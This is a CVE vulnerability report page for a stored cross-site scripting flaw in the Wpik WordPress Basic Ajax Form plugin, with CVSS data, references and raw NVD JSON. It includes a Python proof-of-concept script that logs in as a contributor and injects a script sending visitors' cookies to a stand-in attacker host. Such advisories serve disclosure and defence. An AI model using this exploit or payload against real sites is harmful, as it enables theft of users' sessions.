Security Vulnerability Report
中文
CVE-2025-14393 CVSS 6.4 MEDIUM

CVE-2025-14393

Published: 2025-12-12 04:15:50
Last Modified: 2026-04-15 00:35:42

Description

The Wpik WordPress Basic Ajax Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'dname' parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Wpik WordPress Basic Ajax Form plugin <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14393 PoC - Stored XSS in Wpik WordPress Basic Ajax Form # Affected: Wpik WordPress Basic Ajax Form <= 1.0 # Attack Vector: Authenticated Contributor+ can inject XSS via 'dname' parameter import requests import sys from urllib.parse import quote target_url = "http://target-wordpress-site.com" username = "attacker" password = "attacker_password" # XSS payload - steals cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit_stored_xss(): """Exploit CVE-2025-14393 by injecting XSS via AJAX form""" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Submit AJAX form with XSS payload in 'dname' parameter ajax_url = f"{target_url}/wp-admin/admin-ajax.php" form_data = { 'action': 'wpik_ajax_form_submit', # Plugin AJAX action 'dname': xss_payload, # XSS injection point 'demail': '[email protected]', 'dmessage': 'Test message' } response = session.post(ajax_url, data=form_data) if response.status_code == 200: print("[+] XSS payload submitted successfully") print(f"[+] Payload stored in database: {quote(xss_payload)}") print("[!] XSS will execute when any user views the affected page") return True else: print("[-] Failed to submit payload") return False if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14393", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:50.270", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Wpik WordPress Basic Ajax Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'dname' parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/79.html", "source": "[email protected]"}, {"url": "https://developer.wordpress.org/plugins/security/data-validation/", "source": "[email protected]"}, {"url": "https://developer.wordpress.org/plugins/security/securing-output/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpik-wordpress-basic-ajax-form/tags/1.0/index.php#L107", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpik-wordpress-basic-ajax-form/tags/1.0/index.php#L84", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpik-wordpress-basic-ajax-form/tags/1.0/index.php#L85", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1bc6508b-f646-4d52-bc8d-bdac443ed2fe?source=cve", "source": "[email protected]"}]}}